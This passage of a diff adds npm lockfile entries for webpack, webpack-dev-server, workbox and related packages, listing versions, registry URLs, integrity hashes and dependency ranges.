+        "schema-utils": "^3.2.0",
+        "tapable": "^2.1.1",
+        "terser-webpack-plugin": "^5.3.10",
+        "watchpack": "^2.4.1",
+        "webpack-sources": "^3.2.3"
+      },
+      "bin": {
+        "webpack": "bin/webpack.js"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependenciesMeta": {
+        "webpack-cli": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/webpack-dev-middleware": {
+      "version": "5.3.4",
+      "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.4.tgz",
+      "integrity": "sha512-BVdTqhhs+0IfoeAf7EoH5WE+exCmqGerHfDM0IL096Px60Tq2Mn9MAbnaGUe6HiMa41KMCYF19gyzZmBcq/o4Q==",
+      "dependencies": {
+        "colorette": "^2.0.10",
+        "memfs": "^3.4.3",
+        "mime-types": "^2.1.31",
+        "range-parser": "^1.2.1",
+        "schema-utils": "^4.0.0"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^4.0.0 || ^5.0.0"
+      }
+    },
+    "node_modules/webpack-dev-middleware/node_modules/ajv": {
+      "version": "8.11.0",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
+      "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.1",
+        "json-schema-traverse": "^1.0.0",
+        "require-from-string": "^2.0.2",
+        "uri-js": "^4.2.2"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/epoberezkin"
+      }
+    },
+    "node_modules/webpack-dev-middleware/node_modules/ajv-keywords": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+      "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.3"
+      },
+      "peerDependencies": {
+        "ajv": "^8.8.2"
+      }
+    },
+    "node_modules/webpack-dev-middleware/node_modules/json-schema-traverse": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+    },
+    "node_modules/webpack-dev-middleware/node_modules/schema-utils": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
+      "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.9",
+        "ajv": "^8.8.0",
+        "ajv-formats": "^2.1.1",
+        "ajv-keywords": "^5.0.0"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/webpack-dev-server": {
+      "version": "4.11.1",
+      "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.11.1.tgz",
+      "integrity": "sha512-lILVz9tAUy1zGFwieuaQtYiadImb5M3d+H+L1zDYalYoDl0cksAB1UNyuE5MMWJrG6zR1tXkCP2fitl7yoUJiw==",
+      "dependencies": {
+        "@types/bonjour": "^3.5.9",
+        "@types/connect-history-api-fallback": "^1.3.5",
+        "@types/express": "^4.17.13",
+        "@types/serve-index": "^1.9.1",
+        "@types/serve-static": "^1.13.10",
+        "@types/sockjs": "^0.3.33",
+        "@types/ws": "^8.5.1",
+        "ansi-html-community": "^0.0.8",
+        "bonjour-service": "^1.0.11",
+        "chokidar": "^3.5.3",
+        "colorette": "^2.0.10",
+        "compression": "^1.7.4",
+        "connect-history-api-fallback": "^2.0.0",
+        "default-gateway": "^6.0.3",
+        "express": "^4.17.3",
+        "graceful-fs": "^4.2.6",
+        "html-entities": "^2.3.2",
+        "http-proxy-middleware": "^2.0.3",
+        "ipaddr.js": "^2.0.1",
+        "open": "^8.0.9",
+        "p-retry": "^4.5.0",
+        "rimraf": "^3.0.2",
+        "schema-utils": "^4.0.0",
+        "selfsigned": "^2.1.1",
+        "serve-index": "^1.9.1",
+        "sockjs": "^0.3.24",
+        "spdy": "^4.0.2",
+        "webpack-dev-middleware": "^5.3.1",
+        "ws": "^8.4.2"
+      },
+      "bin": {
+        "webpack-dev-server": "bin/webpack-dev-server.js"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^4.37.0 || ^5.0.0"
+      },
+      "peerDependenciesMeta": {
+        "webpack-cli": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/webpack-dev-server/node_modules/ajv": {
+      "version": "8.11.0",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
+      "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.1",
+        "json-schema-traverse": "^1.0.0",
+        "require-from-string": "^2.0.2",
+        "uri-js": "^4.2.2"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/epoberezkin"
+      }
+    },
+    "node_modules/webpack-dev-server/node_modules/ajv-keywords": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+      "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.3"
+      },
+      "peerDependencies": {
+        "ajv": "^8.8.2"
+      }
+    },
+    "node_modules/webpack-dev-server/node_modules/json-schema-traverse": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+    },
+    "node_modules/webpack-dev-server/node_modules/schema-utils": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
+      "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.9",
+        "ajv": "^8.8.0",
+        "ajv-formats": "^2.1.1",
+        "ajv-keywords": "^5.0.0"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/webpack-dev-server/node_modules/ws": {
+      "version": "8.9.0",
+      "resolved": "https://registry.npmjs.org/ws/-/ws-8.9.0.tgz",
+      "integrity": "sha512-Ja7nszREasGaYUYCI2k4lCKIRTt+y7XuqVoHR44YpI49TtryyqbqvDMn5eqfW7e6HzTukDRIsXqzVHScqRcafg==",
+      "engines": {
+        "node": ">=10.0.0"
+      },
+      "peerDependencies": {
+        "bufferutil": "^4.0.1",
+        "utf-8-validate": "^5.0.2"
+      },
+      "peerDependenciesMeta": {
+        "bufferutil": {
+          "optional": true
+        },
+        "utf-8-validate": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/webpack-manifest-plugin": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/webpack-manifest-plugin/-/webpack-manifest-plugin-4.1.1.tgz",
+      "integrity": "sha512-YXUAwxtfKIJIKkhg03MKuiFAD72PlrqCiwdwO4VEXdRO5V0ORCNwaOwAZawPZalCbmH9kBDmXnNeQOw+BIEiow==",
+      "dependencies": {
+        "tapable": "^2.0.0",
+        "webpack-sources": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=12.22.0"
+      },
+      "peerDependencies": {
+        "webpack": "^4.44.2 || ^5.47.0"
+      }
+    },
+    "node_modules/webpack-manifest-plugin/node_modules/webpack-sources": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-2.3.1.tgz",
+      "integrity": "sha512-y9EI9AO42JjEcrTJFOYmVywVZdKVUfOvDUPsJea5GIr1JOEGFVqwlY2K098fFoIjOkDzHn2AjRvM8dsBZu+gCA==",
+      "dependencies": {
+        "source-list-map": "^2.0.1",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/webpack-sources": {
+      "version": "3.2.3",
+      "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz",
+      "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==",
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/webpack/node_modules/eslint-scope": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
+      "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+      "dependencies": {
+        "esrecurse": "^4.3.0",
+        "estraverse": "^4.1.1"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/webpack/node_modules/estraverse": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
+      "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
+      "engines": {
+        "node": ">=4.0"
+      }
+    },
+    "node_modules/websocket-driver": {
+      "version": "0.7.4",
+      "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
+      "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
+      "dependencies": {
+        "http-parser-js": ">=0.5.1",
+        "safe-buffer": ">=5.1.0",
+        "websocket-extensions": ">=0.1.1"
+      },
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/websocket-extensions": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz",
+      "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==",
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/whatwg-encoding": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz",
+      "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==",
+      "dependencies": {
+        "iconv-lite": "0.4.24"
+      }
+    },
+    "node_modules/whatwg-encoding/node_modules/iconv-lite": {
+      "version": "0.4.24",
+      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
+      "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+      "dependencies": {
+        "safer-buffer": ">= 2.1.2 < 3"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/whatwg-fetch": {
+      "version": "3.6.2",
+      "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz",
+      "integrity": "sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA=="
+    },
+    "node_modules/whatwg-mimetype": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz",
+      "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g=="
+    },
+    "node_modules/whatwg-url": {
+      "version": "8.7.0",
+      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-8.7.0.tgz",
+      "integrity": "sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==",
+      "dependencies": {
+        "lodash": "^4.7.0",
+        "tr46": "^2.1.0",
+        "webidl-conversions": "^6.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/which": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+      "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+      "dependencies": {
+        "isexe": "^2.0.0"
+      },
+      "bin": {
+        "node-which": "bin/node-which"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/which-boxed-primitive": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz",
+      "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==",
+      "dependencies": {
+        "is-bigint": "^1.0.1",
+        "is-boolean-object": "^1.1.0",
+        "is-number-object": "^1.0.4",
+        "is-string": "^1.0.5",
+        "is-symbol": "^1.0.3"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/word-wrap": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.4.tgz",
+      "integrity": "sha512-2V81OA4ugVo5pRo46hAoD2ivUJx8jXmWXfUkY4KFNw0hEptvN0QfH3K4nHiwzGeKl5rFKedV48QVoqYavy4YpA==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/workbox-background-sync": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-6.5.4.tgz",
+      "integrity": "sha512-0r4INQZMyPky/lj4Ou98qxcThrETucOde+7mRGJl13MPJugQNKeZQOdIJe/1AchOP23cTqHcN/YVpD6r8E6I8g==",
+      "dependencies": {
+        "idb": "^7.0.1",
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-broadcast-update": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-6.5.4.tgz",
+      "integrity": "sha512-I/lBERoH1u3zyBosnpPEtcAVe5lwykx9Yg1k6f8/BGEPGaMMgZrwVrqL1uA9QZ1NGGFoyE6t9i7lBjOlDhFEEw==",
+      "dependencies": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-build": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-6.5.4.tgz",
+      "integrity": "sha512-kgRevLXEYvUW9WS4XoziYqZ8Q9j/2ziJYEtTrjdz5/L/cTUa2XfyMP2i7c3p34lgqJ03+mTiz13SdFef2POwbA==",
+      "dependencies": {
+        "@apideck/better-ajv-errors": "^0.3.1",
+        "@babel/core": "^7.11.1",
+        "@babel/preset-env": "^7.11.0",
+        "@babel/runtime": "^7.11.2",
+        "@rollup/plugin-babel": "^5.2.0",
+        "@rollup/plugin-node-resolve": "^11.2.1",
+        "@rollup/plugin-replace": "^2.4.1",
+        "@surma/rollup-plugin-off-main-thread": "^2.2.3",
+        "ajv": "^8.6.0",
+        "common-tags": "^1.8.0",
+        "fast-json-stable-stringify": "^2.1.0",
+        "fs-extra": "^9.0.1",
+        "glob": "^7.1.6",
+        "lodash": "^4.17.20",
+        "pretty-bytes": "^5.3.0",
+        "rollup": "^2.43.1",
+        "rollup-plugin-terser": "^7.0.0",
+        "source-map": "^0.8.0-beta.0",
+        "stringify-object": "^3.3.0",
+        "strip-comments": "^2.0.1",
+        "tempy": "^0.6.0",
+        "upath": "^1.2.0",
+        "workbox-background-sync": "6.5.4",
+        "workbox-broadcast-update": "6.5.4",
+        "workbox-cacheable-response": "6.5.4",
+        "workbox-core": "6.5.4",
+        "workbox-expiration": "6.5.4",
+        "workbox-google-analytics": "6.5.4",
+        "workbox-navigation-preload": "6.5.4",
+        "workbox-precaching": "6.5.4",
+        "workbox-range-requests": "6.5.4",
+        "workbox-recipes": "6.5.4",
+        "workbox-routing": "6.5.4",
+        "workbox-strategies": "6.5.4",
+        "workbox-streams": "6.5.4",
+        "workbox-sw": "6.5.4",
+        "workbox-window": "6.5.4"
+      },
+      "engines": {
+        "node": ">=10.0.0"
+      }
+    },
+    "node_modules/workbox-build/node_modules/@apideck/better-ajv-errors": {
+      "version": "0.3.6",
+      "resolved": "https://registry.npmjs.org/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz",
+      "integrity": "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==",
+      "dependencies": {
+        "json-schema": "^0.4.0",
+        "jsonpointer": "^5.0.0",
+        "leven": "^3.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "peerDependencies": {
+        "ajv": ">=8"
+      }
+    },
+    "node_modules/workbox-build/node_modules/ajv": {
+      "version": "8.11.0",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
+      "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.1",
+        "json-schema-traverse": "^1.0.0",
+        "require-from-string": "^2.0.2",
+        "uri-js": "^4.2.2"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/epoberezkin"
+      }
+    },
+    "node_modules/workbox-build/node_modules/fs-extra": {
+      "version": "9.1.0",
+      "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
+      "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
+      "dependencies": {
+        "at-least-node": "^1.0.0",
+        "graceful-fs": "^4.2.0",
+        "jsonfile": "^6.0.1",
+        "universalify": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/workbox-build/node_modules/json-schema-traverse": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+    },
+    "node_modules/workbox-build/node_modules/source-map": {
+      "version": "0.8.0-beta.0",
+      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0-beta.0.tgz",
+      "integrity": "sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==",
+      "dependencies": {
+        "whatwg-url": "^7.0.0"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/workbox-build/node_modules/tr46": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz",
+      "integrity": "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==",
+      "dependencies": {
+        "punycode": "^2.1.0"
+      }
+    },
+    "node_modules/workbox-build/node_modules/webidl-conversions": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-4.0.2.tgz",
+      "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg=="
+    },
+    "node_modules/workbox-build/node_modules/whatwg-url": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz",
+      "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==",
+      "dependencies": {
+        "lodash.sortby": "^4.7.0",
+        "tr46": "^1.0.1",
+        "webidl-conversions": "^4.0.2"
+      }
+    },
+    "node_modules/workbox-cacheable-response": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-6.5.4.tgz",
+      "integrity": "sha512-DCR9uD0Fqj8oB2TSWQEm1hbFs/85hXXoayVwFKLVuIuxwJaihBsLsp4y7J9bvZbqtPJ1KlCkmYVGQKrBU4KAug==",
+      "dependencies": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-core": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-6.5.4.tgz",
+      "integrity": "sha512-OXYb+m9wZm8GrORlV2vBbE5EC1FKu71GGp0H4rjmxmF4/HLbMCoTFws87M3dFwgpmg0v00K++PImpNQ6J5NQ6Q=="
+    },
+    "node_modules/workbox-expiration": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-6.5.4.tgz",
+      "integrity": "sha512-jUP5qPOpH1nXtjGGh1fRBa1wJL2QlIb5mGpct3NzepjGG2uFFBn4iiEBiI9GUmfAFR2ApuRhDydjcRmYXddiEQ==",
+      "dependencies": {
+        "idb": "^7.0.1",
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-google-analytics": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-6.5.4.tgz",
+      "integrity": "sha512-8AU1WuaXsD49249Wq0B2zn4a/vvFfHkpcFfqAFHNHwln3jK9QUYmzdkKXGIZl9wyKNP+RRX30vcgcyWMcZ9VAg==",
+      "dependencies": {
+        "workbox-background-sync": "6.5.4",
+        "workbox-core": "6.5.4",
+        "workbox-routing": "6.5.4",
+        "workbox-strategies": "6.5.4"
+      }
+    },
+    "node_modules/workbox-navigation-preload": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-6.5.4.tgz",
+      "integrity": "sha512-IIwf80eO3cr8h6XSQJF+Hxj26rg2RPFVUmJLUlM0+A2GzB4HFbQyKkrgD5y2d84g2IbJzP4B4j5dPBRzamHrng==",
+      "dependencies": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-precaching": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-6.5.4.tgz",
+      "integrity": "sha512-hSMezMsW6btKnxHB4bFy2Qfwey/8SYdGWvVIKFaUm8vJ4E53JAY+U2JwLTRD8wbLWoP6OVUdFlXsTdKu9yoLTg==",
+      "dependencies": {
+        "workbox-core": "6.5.4",
+        "workbox-routing": "6.5.4",
+        "workbox-strategies": "6.5.4"
+      }
+    },
+    "node_modules/workbox-range-requests": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-6.5.4.tgz",
+      "integrity": "sha512-Je2qR1NXCFC8xVJ/Lux6saH6IrQGhMpDrPXWZWWS8n/RD+WZfKa6dSZwU+/QksfEadJEr/NfY+aP/CXFFK5JFg==",
+      "dependencies": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-recipes": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-recipes/-/workbox-recipes-6.5.4.tgz",
+      "integrity": "sha512-QZNO8Ez708NNwzLNEXTG4QYSKQ1ochzEtRLGaq+mr2PyoEIC1xFW7MrWxrONUxBFOByksds9Z4//lKAX8tHyUA==",
+      "dependencies": {
+        "workbox-cacheable-response": "6.5.4",
+        "workbox-core": "6.5.4",
+        "workbox-expiration": "6.5.4",
+        "workbox-precaching": "6.5.4",
+        "workbox-routing": "6.5.4",
+        "workbox-strategies": "6.5.4"
+      }
+    },
+    "node_modules/workbox-routing": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-6.5.4.tgz",
+      "integrity": "sha512-apQswLsbrrOsBUWtr9Lf80F+P1sHnQdYodRo32SjiByYi36IDyL2r7BH1lJtFX8fwNHDa1QOVY74WKLLS6o5Pg==",
+      "dependencies": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-strategies": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-6.5.4.tgz",
+      "integrity": "sha512-DEtsxhx0LIYWkJBTQolRxG4EI0setTJkqR4m7r4YpBdxtWJH1Mbg01Cj8ZjNOO8etqfA3IZaOPHUxCs8cBsKLw==",
+      "dependencies": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-streams": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-6.5.4.tgz",
+      "integrity": "sha512-FXKVh87d2RFXkliAIheBojBELIPnWbQdyDvsH3t74Cwhg0fDheL1T8BqSM86hZvC0ZESLsznSYWw+Va+KVbUzg==",
+      "dependencies": {
+        "workbox-core": "6.5.4",
+        "workbox-routing": "6.5.4"
+      }
+    },
+    "node_modules/workbox-sw": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-6.5.4.tgz",
+      "integrity": "sha512-vo2RQo7DILVRoH5LjGqw3nphavEjK4Qk+FenXeUsknKn14eCNedHOXWbmnvP4ipKhlE35pvJ4yl4YYf6YsJArA=="
+    },
+    "node_modules/workbox-webpack-plugin": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-webpack-plugin/-/workbox-webpack-plugin-6.5.4.tgz",
+      "integrity": "sha512-LmWm/zoaahe0EGmMTrSLUi+BjyR3cdGEfU3fS6PN1zKFYbqAKuQ+Oy/27e4VSXsyIwAw8+QDfk1XHNGtZu9nQg==",
+      "dependencies": {
+        "fast-json-stable-stringify": "^2.1.0",
+        "pretty-bytes": "^5.4.1",
+        "upath": "^1.2.0",
+        "webpack-sources": "^1.4.3",
+        "workbox-build": "6.5.4"
+      },
+      "engines": {
+        "node": ">=10.0.0"
+      },
+      "peerDependencies": {
+        "webpack": "^4.4.0 || ^5.9.0"
+      }
+    },
+    "node_modules/workbox-webpack-plugin/node_modules/webpack-sources": {
+      "version": "1.4.3",
+      "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz",
+      "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==",
+      "dependencies": {
+        "source-list-map": "^2.0.0",
+        "source-map": "~0.6.1"
+      }
+    },
+    "node_modules/workbox-window": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-6.5.4.tgz",
+      "integrity": "sha512-HnLZJDwYBE+hpG25AQBO8RUWBJRaCsI9ksQJEp3aCOFCaG5kqaToAYXFRAHxzRluM2cQbGzdQF5rjKPWPA1fug==",
+      "dependencies": {
+        "@types/trusted-types": "^2.0.2",
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/wrap-ansi": {
+      "version": "7.0.0",
+      "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
+      "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+      "dependencies": {
+        "ansi-styles": "^4.0.0",
